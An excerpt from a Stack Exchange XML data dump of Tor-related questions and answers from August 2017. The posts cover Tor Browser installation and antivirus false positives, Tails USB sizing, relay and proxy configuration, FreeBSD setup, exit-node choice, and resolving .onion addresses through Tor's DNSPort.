ClosedDate="2017-08-17T12:48:55.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="15499" PostTypeId="1" CreationDate="2017-08-14T16:07:30.517" Score="0" ViewCount="642" Body="&lt;p&gt;maybe its wrong here, if so, i´m sorry.&#xA;I tried to install the very first time tor browser for windows german version: torbrowser-install-7.0.4_de&#xA;from your website &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I checked this file by uploading to &lt;a href=&quot;https://virustotal.com/#/home/upload&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.virustotal.com&lt;/a&gt; &lt;strong&gt;I got 2 malware warnings:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;malware (ai score=18)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Malware.Heuristic!ET#99% (rdm+)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You&lt;/p&gt;&#xA;" OwnerUserId="18748" LastActivityDate="2020-02-28T11:22:50.550" Title="Malware detection when installing tor browser" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15500" PostTypeId="2" ParentId="15499" CreationDate="2017-08-14T19:57:34.623" Score="2" Body="&lt;p&gt;These are false positives. VirusTotal detects &lt;a href=&quot;https://en.wikipedia.org/wiki/%22Hello,_World!%22_program&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Hello World&quot; programs&lt;/a&gt; as &lt;a href=&quot;https://twitter.com/zerosum0x0/status/895648493422878720&quot; rel=&quot;nofollow noreferrer&quot;&gt;malicious&lt;/a&gt; and often detects &lt;a href=&quot;https://twitter.com/hanno/status/468388548740403200&quot; rel=&quot;nofollow noreferrer&quot;&gt;real malware as clean&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/epidemics-scepticism/writing/blob/master/guide.md#anti-virus&quot; rel=&quot;nofollow noreferrer&quot;&gt;Anti-virus is not a good option&lt;/a&gt; if you have real anonymity or privacy requirements.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-14T19:57:34.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15501" PostTypeId="1" CreationDate="2017-08-14T22:17:09.663" Score="4" ViewCount="13051" Body="&lt;p&gt;This is probably a dumb question, but I just want to be 100% sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to go buy a 128 Gb USB stick to download TAILS. But does the other USB drive onto which I first download TAILS have to be the same size? Or could I download TAILS initially on a 4 Gb USB and then do the second part on my 128 Gb one, and have roughly 126 for file storage on the final drive?&lt;/p&gt;&#xA;" OwnerUserId="15147" LastActivityDate="2020-09-18T13:45:58.207" Title="TAILS USB Storage Size" Tags="|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15502" PostTypeId="1" CreationDate="2017-08-15T03:01:32.677" Score="1" ViewCount="129" Body="&lt;p&gt;I have configured my  Kali Linux  (VM) through Whonix Gateway 13 and it's working, But when I do scans the results are unbelievable for an example I scanned my own network I have only open a few ports but the scans results show about hundreds of open ports even the OS scans are wrong. &lt;/p&gt;&#xA;" OwnerUserId="18753" LastActivityDate="2017-08-15T03:01:32.677" Title="NMAP scanning through TOR" Tags="|tor-browser-bundle|whonix|" AnswerCount="0" CommentCount="1" ClosedDate="2017-08-17T12:49:34.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="15503" PostTypeId="2" ParentId="15501" CreationDate="2017-08-15T06:20:45.177" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;could I download TAILS initially on a 4 Gb USB and then do the second part on my 128 Gb one, and have roughly 126 for file storage on the final drive?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Tails is installed, it only initially creates a 2.5~GB partition to store the operating system on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After Tails is installed the encrypted persistence partition is created, which will take up the remaining space on the drive. In your case would be around 126~GB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;A helpful tip: Before buying a USB drive you should know there are &lt;a href=&quot;https://tails.boum.org/support/known_issues/#index1h2&quot; rel=&quot;nofollow noreferrer&quot;&gt;some issues with specific models&lt;/a&gt;, checking out which might save you some annoyance in the future.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-15T06:20:45.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15505" PostTypeId="1" CreationDate="2017-08-15T08:19:58.653" Score="15" ViewCount="55954" Body="&lt;p&gt;I am using tor browser on windows 10 pro, and recently I can not use it. when I start the program, I receive following message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser does not have permission to access the profile. Please adjust your file system permissions and try again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards,&#xA;Farshid&lt;/p&gt;&#xA;" OwnerUserId="18757" LastActivityDate="2023-06-23T10:43:18.410" Title="Tor browser profile problem" Tags="|tor-browser-bundle|" AnswerCount="8" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15506" PostTypeId="2" ParentId="15498" CreationDate="2017-08-15T12:04:47.393" Score="0" Body="&lt;p&gt;if it's encapsulated it's akin to a VPN, ie encapsulation should be the correct term used. Encryption is commensurate with VPN technologies &lt;/p&gt;&#xA;" OwnerUserId="18759" LastActivityDate="2017-08-15T12:04:47.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15508" PostTypeId="1" CreationDate="2017-08-16T03:34:07.710" Score="0" ViewCount="379" Body="&lt;p&gt;Last day ,I buy the vsp service. but there are no package when using &quot;yum install tor&quot; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It worked when I use vmware locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;epel has been installed already by :yum install epel-release&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why I got differente result . &lt;/p&gt;&#xA;" OwnerUserId="18718" LastActivityDate="2021-12-24T00:00:55.117" Title="no package when using &quot;yum install tor&quot;" Tags="|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15510" PostTypeId="2" ParentId="15508" CreationDate="2017-08-16T04:27:26.537" Score="0" Body="&lt;p&gt;resolve it :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried rpm to install it .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;find the right rpm package to wget from the url:&#xA;&lt;a href=&quot;http://dl.fedoraproject.org/pub/epel&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://dl.fedoraproject.org/pub/epel&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18718" LastActivityDate="2017-08-16T04:27:26.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15517" PostTypeId="1" CreationDate="2017-08-16T20:06:18.263" Score="4" ViewCount="1263" Body="&lt;p&gt;I'm trying to make a tor relay server over a http proxy on a ubuntu 14.04 lts machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Log output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /var/log/tor/log&#xA;Aug 17 18:19:06.000 [notice] Tor 0.2.4.27 (git-412e3f7dc9c6c01a) opening new log file.&#xA;Aug 17 18:19:06.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Aug 17 18:19:07.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Aug 17 18:19:08.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Aug 17 18:20:43.000 [notice] Interrupt: exiting cleanly.&#xA;Aug 17 18:20:45.000 [notice] Tor 0.2.4.27 (git-412e3f7dc9c6c01a) opening log file.&#xA;Aug 17 18:20:45.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Aug 17 18:20:45.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Aug 17 18:20:45.000 [notice] Configured to measure statistics. Look for the *-stats files that will first be written to the data directory in 24 hours from now.&#xA;Aug 17 18:20:46.000 [notice] Your Tor server's identity key fingerprint is 'ididntedittheconfig 511FBDFE23658FB9C76695C2251753ED22F4D054'&#xA;Aug 17 18:23:56.000 [warn] eventdns: All nameservers have failed&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My network settings are correct,i can connect to internet:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;computer &gt; router &gt; http_proxy &gt; internet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My torrc after correction looks like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HTTPSProxy 192.168.x.x:44355&#xA;&#xA;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname ididntedittheconfig&#xA;ContactInfo human@...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;DNS settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat /etc/resolv.conf  &#xA;# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)&#xA;#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN&#xA;nameserver 127.0.0.1&#xA;$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18782" LastEditorUserId="18782" LastEditDate="2017-08-17T16:31:35.000" LastActivityDate="2021-03-30T08:05:45.640" Title="Set a tor server behind http proxy" Tags="|configuration|proxy|error|dns|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15518" PostTypeId="2" ParentId="15517" CreationDate="2017-08-16T21:21:30.780" Score="1" Body="&lt;p&gt;First of all that isn't how you make Tor use an HTTP proxy.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;HTTPProxy host[:port]&lt;/p&gt;&#xA;&lt;p&gt;Tor will make all its &lt;strong&gt;directory requests&lt;/strong&gt; through this host:port (or host:80 if port is not specified), &lt;strong&gt;rather than connecting directly to any directory servers&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The option you probably want is this one&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;HTTPSProxy host[:port]&lt;/p&gt;&#xA;&lt;p&gt;Tor will make all its &lt;strong&gt;OR (SSL) connections&lt;/strong&gt; through this host:port (or host:443 if port is not specified), via HTTP CONNECT rather than connecting directly to servers. You may want to set FascistFirewall to restrict the set of ports you might try to connect to, if your HTTPS proxy only allows connecting to certain ports.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Second of all, you can't make it be a relay over a proxy, you're going to have to have port 443 exposed so that users trying to connect to your relay can connect to your &lt;code&gt;ORPort&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-08-16T21:21:30.780" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="15520" PostTypeId="1" AcceptedAnswerId="15525" CreationDate="2017-08-17T03:45:22.093" Score="2" ViewCount="2469" Body="&lt;p&gt;I mounted Tails OS (booted through ISO file) on Virtual Box. The default OS display looks ugly and I couldn't mount Guest Additions through Optical drive as I mounted OS through the same. So, I uploaded Guest Additions.iso file in Google drive and downloaded in VM. When I try to install it, I got following error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2lGbg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2lGbg.png&quot; alt=&quot;Guest Addition Installation Error&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18789" LastEditorUserId="88" LastEditDate="2017-08-31T11:27:59.050" LastActivityDate="2017-08-31T11:27:59.050" Title="Unable to install VirtualBox Guest Additions on Tails OS" Tags="|tails|virtual-machine|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15524" PostTypeId="2" ParentId="9025" CreationDate="2017-08-17T04:09:59.527" Score="2" Body="&lt;p&gt;In complement of Alexey's detailed answer, let me add the following.&#xA;As &lt;a href=&quot;https://cialu.net/install-tor-browser-on-linux-and-set-up-a-launcher/&quot; rel=&quot;nofollow noreferrer&quot;&gt;indicated, for instance, here&lt;/a&gt;, the simpler way to install &lt;code&gt;tor browser&lt;/code&gt; in &lt;code&gt;/opt&lt;/code&gt; on Linux is probably the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download a bundle at &lt;a href=&quot;https://www.torproject.org/download/#downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download/#downloads&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;(optional, but recommended) Check the signature (&lt;a href=&quot;https://support.torproject.org/tbb/how-to-verify-signature/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/tbb/how-to-verify-signature/&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extract the file, for instance with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tar -xvfJ tor-browser-linux64-9.0_en-US.tar.xz.asc&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;As root&lt;/strong&gt;, move the files to &lt;code&gt;/opt&lt;/code&gt;, using for instance&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mv tor-browser_en-US /opt&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally, &lt;strong&gt;as a normal user&lt;/strong&gt;, run the program with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    cd /opt/tor-browser_en-US/&#xA;    ./start-tor-browser.desktop&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and you can even add to that latter command &lt;code&gt;--register-app&lt;/code&gt; at the end, to be able to run the program from anywhere (i.e., to add it to the applications in your menu, for instance).&lt;/p&gt;&#xA;" OwnerUserId="6520" LastEditorUserId="6520" LastEditDate="2019-11-03T00:50:55.267" LastActivityDate="2019-11-03T00:50:55.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15525" PostTypeId="2" ParentId="15520" CreationDate="2017-08-17T04:21:44.100" Score="4" Body="&lt;p&gt;You should run '&lt;strong&gt;VBoxLinuxAdditions.run&lt;/strong&gt;' file, not the autorun.sh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Syntax: &lt;code&gt;bash VBoxLinuxAdditions.run&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="18791" LastActivityDate="2017-08-17T04:21:44.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15526" PostTypeId="1" CreationDate="2017-08-17T07:58:18.763" Score="2" ViewCount="1518" Body="&lt;p&gt;Is it possible to install Tails on VirtualBox ?&#xA;I know you could only boot it when you mount the ISO. And after you are logged in in Tails if you click Aplications &gt; Tails &gt; Tails installer it says &quot;Could not find target device&quot; even if you have space alocated for Tails in VM.&lt;/p&gt;&#xA;" OwnerUserId="18792" LastActivityDate="2017-08-17T07:58:18.763" Title="Is it possible to install Tails on VirtualBox?" Tags="|tails|virtual-machine|" AnswerCount="0" CommentCount="2" ClosedDate="2017-08-19T15:34:58.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="15527" PostTypeId="1" CreationDate="2017-08-17T08:10:34.940" Score="1" ViewCount="1332" Body="&lt;p&gt;As I see here people always advice to use Riseup.net VPN or SecurityKISS. I just want to ask why people here advice soo much to use that 2 vpns and what are their pros compared to other VPN's. As I know VPN can not use any exploit to look what Tor user is doing in Tor. Or this VPN's a better versus timing attacks ?&lt;/p&gt;&#xA;" OwnerUserId="18793" LastActivityDate="2017-08-17T17:48:09.563" Title="Why people advice to use Riseup.net and SecurityKISS VPN?" Tags="|anonymity|vpn|deanonymization|openvpn|" AnswerCount="0" CommentCount="6" ClosedDate="2017-08-21T07:39:56.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="15528" PostTypeId="2" ParentId="12788" CreationDate="2017-08-17T08:39:18.447" Score="0" Body="&lt;p&gt;Well, currently I'm using &lt;code&gt;tor&lt;/code&gt; with chromium on freeBSD and it works fine. Just do the following steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install &lt;code&gt;tor&lt;/code&gt; on FreeBSD:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo pkg install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Install &lt;code&gt;obfs&lt;/code&gt; proxy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo pkg install obfsproxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the following lines to &lt;code&gt;/usr/local/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientTransportPlugin obfs3 exec /usr/local/bin/obfsproxy managed&#xA;ServerTransportPlugin obfs2,obfs3 exec /usr/local/bin/obfsproxy managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Start &lt;code&gt;tor&lt;/code&gt; on FreeBSD:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor&#xA;Aug 17 10:31:14.954 [notice] Tor 0.3.0.10 (git-c33db290a9d8d0f9) running on FreeBSD with Libevent 2.1.8-stable, OpenSSL 1.0.1t-freebsd and Zlib 1.2.8.&#xA;Aug 17 10:31:14.954 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Aug 17 10:31:14.955 [notice] Read configuration file &quot;/usr/local/etc/tor/torrc&quot;.&#xA;Aug 17 10:31:14.975 [notice] Tor is not configured as a relay but you specified a ServerTransportPlugin line (&quot;obfs2,obfs3 exec /usr/local/bin/obfsproxy managed&quot;). The ServerTransportPlugin line will be ignored.&#xA;Aug 17 10:31:14.990 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Aug 17 10:31:15.000 [notice] Parsing GEOIP IPv4 file /usr/local/share/tor/geoip.&#xA;Aug 17 10:31:15.000 [notice] Parsing GEOIP IPv6 file /usr/local/share/tor/geoip6.&#xA;Aug 17 10:31:16.000 [notice] Bootstrapped 0%: Starting&#xA;Aug 17 10:31:17.000 [notice] Starting with guard context &quot;default&quot;&#xA;Aug 17 10:31:17.000 [notice] Bootstrapped 80%: Connecting to the Tor network&#xA;Aug 17 10:31:18.000 [notice] Bootstrapped 85%: Finishing handshake with first hop&#xA;Aug 17 10:31:19.000 [notice] Bootstrapped 90%: Establishing a Tor circuit&#xA;Aug 17 10:31:20.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Aug 17 10:31:20.000 [notice] Bootstrapped 100%: Done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, run chromium with tor proxy server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ /usr/local/bin/chrome --proxy-server=&quot;socks5://127.0.0.1:9050&quot; --host-resolver-rules=&quot;MAP * 0.0.0.0, EXCLUDE 127.0.0.1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14550" LastEditorUserId="14550" LastEditDate="2017-08-17T08:51:32.107" LastActivityDate="2017-08-17T08:51:32.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15529" PostTypeId="1" CreationDate="2017-08-17T09:08:59.283" Score="1" ViewCount="139" Body="&lt;p&gt;I changed to ExitNodes {au}, requiring multiple exit nodes only getting 1 single IP address that never changes despite changing identity and circuit and reinstalling. Is this normal to be only assigned 1 resultant IP that wont change if you stipulate a single country?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in turn, does this in fact mean that I DO have a single IP even when im clicking 'change identity' or are there other factors at play that make my 'identity' appear different to the same site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kindest&lt;/p&gt;&#xA;" OwnerUserId="18794" LastActivityDate="2017-09-16T17:51:36.527" Title="changed to ExitNodes {au}, requiring multiple exit nodes only getting 1" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15530" PostTypeId="2" ParentId="15529" CreationDate="2017-08-17T16:19:11.340" Score="1" Body="&lt;p&gt;No this isn't abnormal, there are only a small set of Exits in that country (currently &lt;a href=&quot;https://atlas.torproject.org/#search/country:AU%20flag:Exit&quot; rel=&quot;nofollow noreferrer&quot;&gt;two&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While Tor's anonymity doesn't come from having multiple IP addresses, as you mistaken seem to imagine, it does come from being indistinguishable from the crowd.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case by picking only AU exits you are forcing your Tor to only ever Exit from locations that other Tor users are very unlikely to exit from. So all of your Tor activity (regardless of New Identity use) can be linked by to a single entity (I.E. you) with reasonable certainty.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-08-17T16:19:11.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15532" PostTypeId="1" CreationDate="2017-08-17T19:02:15.643" Score="1" ViewCount="559" Body="&lt;p&gt;Since most vpn's are untrustworthy, and Tor exit nodes can be hosted by malicious entities, im trying to create a trustless chain of anonymization and encryption. I feel as there might be flaws in my setup because of my lack of understanding of the technical aspects of packet encryption. Im looking for criticism of those with more understanding. Setup is as follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VPN on host OS  -&gt;  VM#1 Whonix Gateway VM(Tor)  -&gt;  VM#2 OS that has all traffic forced through Tor by Whonix Gateway, then use proxifier to connect to socks5 proxy  -&gt; Tor browser&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can my vpn see my traffic at the end of the chain?&lt;/p&gt;&#xA;" OwnerUserId="18799" LastActivityDate="2017-08-17T19:02:15.643" Title="Me-&gt;VPN-&gt;Tor-&gt;Socks5-&gt;Tor: Where would a honeypot do the most damage?" Tags="|vpn|whonix|encryption|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15536" PostTypeId="1" AcceptedAnswerId="15537" CreationDate="2017-08-19T04:49:40.537" Score="4" ViewCount="1571" Body="&lt;p&gt;I am experimenting with different ways to Torify DNS requests for applications that do not support SOCKS5's &lt;code&gt;RESOLVE&lt;/code&gt; or SOCKS4a, themselves. One simple way to do this is to configure Tor itself to resolve DNS requests using &lt;code&gt;DNSPort 127.0.0.1:53&lt;/code&gt;, then tell your system that its DNS resolver is the &lt;code&gt;localhost&lt;/code&gt; (with &lt;code&gt;echo &quot;nameserver 127.0.0.1&quot; &amp;gt; /etc/resolv.conf&lt;/code&gt; or whatever is appropriate for your operating system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In doing so, and then tailing my Tor's logfile (having been configured with &lt;code&gt;SafeLogging 0&lt;/code&gt; and &lt;code&gt;Log notice file /tmp/tor.log&lt;/code&gt; or similar), I noticed that each time an application that doesn't explicitly use SOCKS4a or SOCKS5 with remote DNS resolution requests DNS resolution of a &lt;code&gt;.onion&lt;/code&gt; address, a line appears in my Tor log like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Onion address FOO requested from a port with .onion disabled&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm aware that &lt;code&gt;.onion&lt;/code&gt; addresses actually don't have IP addresses associated with them (of course) but I still don't understand exactly what the warning means and, oddly, searching for the log output text produces exactly 0 results on various popular search engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What does the warning mean to Tor? And is there a way to configure Tor so that one &quot;enables&quot; the &lt;code&gt;.onion&lt;/code&gt; on this &quot;disabled&quot; &quot;port&quot;…whatever that means?&lt;/li&gt;&#xA;&lt;li&gt;Also, is there a way to change Tor's behavior regarding this apparent configuration.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="18806" LastActivityDate="2017-08-19T05:15:03.897" Title="What does the logged Tor warning &quot;Onion address foo requested from a port with .onion disabled&quot; mean?" Tags="|onion-services|dns|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15537" PostTypeId="2" ParentId="15536" CreationDate="2017-08-19T04:58:55.777" Score="3" Body="&lt;p&gt;Ah, the answer turns out to be &quot;use &lt;code&gt;AutomapHostsOnResolve 1&lt;/code&gt;.&quot; From &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#AutomapHostsOnResolve&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Tor manual for the &lt;code&gt;AutomapHostsOnResolve&lt;/code&gt; configuration directive&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When this option is enabled, and we get a request to resolve an address that ends with one of the suffixes in &lt;code&gt;AutomapHostsSuffixes&lt;/code&gt;, we map an unused virtual address to that address, and return the new virtual address. This is handy for making &quot;.onion&quot; addresses work with applications that resolve an address and then connect to it. (Default: 0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've read this many times but it is unfortunately not a great description. What it means is that, given the configuration posed in the question, above, i.e., a configuration wherein Tor itself is handling DNS queries (by using its &lt;code&gt;DNSPort&lt;/code&gt; config directive), then upon request of certain queries for &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;AAAA&lt;/code&gt;, and &lt;code&gt;PTR&lt;/code&gt; records, Tor will return a random response because, well, it doesn't really matter what the application making the request receives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, Tor will send a DNS response containing a &quot;virtual address&quot; for the two Tor-specific top-level domains (TLDs), namely &lt;code&gt;.onion&lt;/code&gt; and &lt;code&gt;.exit&lt;/code&gt; or whatever you have defined using Tor's &lt;code&gt;AutomapHostsSuffixes&lt;/code&gt; directive, so that the requesting application receives &lt;em&gt;some&lt;/em&gt; DNS response. The virtual address is not a real address, but rather just some placeholder to ensure the requesting application doesn't raise a &quot;can't resolve hostname&quot; error to the user, because that is exactly what would happen if the application tries to resolve a &lt;code&gt;.onion&lt;/code&gt; address through the &quot;real&quot; DNS system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very handy thing to know about if what you are trying to do is reconfigure a system without use of an isolating proxy to avoid DNS leaks, but still allow that system to access Onion services (also known as &quot;hidden services&quot;) by proxifying a given application through your local Tor client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, for the curious this &quot;virtual address&quot; is in the CIDR IP range &lt;code&gt;127.192.0.0/10&lt;/code&gt; by default, which makes a lot of sense. This IP range can be configured using &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html#VirtualAddrNetworkIPv4&quot; rel=&quot;nofollow noreferrer&quot;&gt;the &lt;code&gt;VirtualAddrNetwork*&lt;/code&gt; configuration options&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18806" LastEditorUserId="18806" LastEditDate="2017-08-19T05:15:03.897" LastActivityDate="2017-08-19T05:15:03.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15546" PostTypeId="1" CreationDate="2017-08-20T14:00:59.303" Score="0" ViewCount="354" Body="&lt;p&gt;I have looked for my answer but I can not find and come to you...&#xA;It is impossible for me to access deep web sites, I know the problem does not come from these sites.&#xA;Here is what happens: when i try to go on the &quot;french hidden wiki&quot; &lt;a href=&quot;https://frwikisfa6myvgyx.onion.cab/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://frwikisfa6myvgyx.onion.cab/&lt;/a&gt; I just have a wholly blank page that appears with only this link https: // Frwikisfa6myvgyx.onion.cab/20.08.2017, and when I click on it does not happen anything ...&#xA;The security level is high, noscript enabled, I tried with and without bridge, I have downloaded and removed several times Tor, the problem still persists ...&#xA;I use xubuntu, windows 7, tails, the problem and the same for all ...&#xA;Last year I often come on the deepweb .onion with a computer equipped with windows 8 then 10 and I have never had this kind of problem ...&#xA;I attach a picture of the problem.&#xA;Please help me I find the solution nowhere ...&#xA;Sorry for my English I use google translate ...&#xA;thank you very much.&lt;a href=&quot;https://i.stack.imgur.com/QLatA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QLatA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user18823" LastActivityDate="2017-08-22T03:32:17.230" Title="Problem connection deep web site .onion white page with links" Tags="|onion-services|connection|" AnswerCount="0" CommentCount="3" ClosedDate="2017-08-22T08:55:13.673" ContentLicense="CC BY-SA 3.0" />
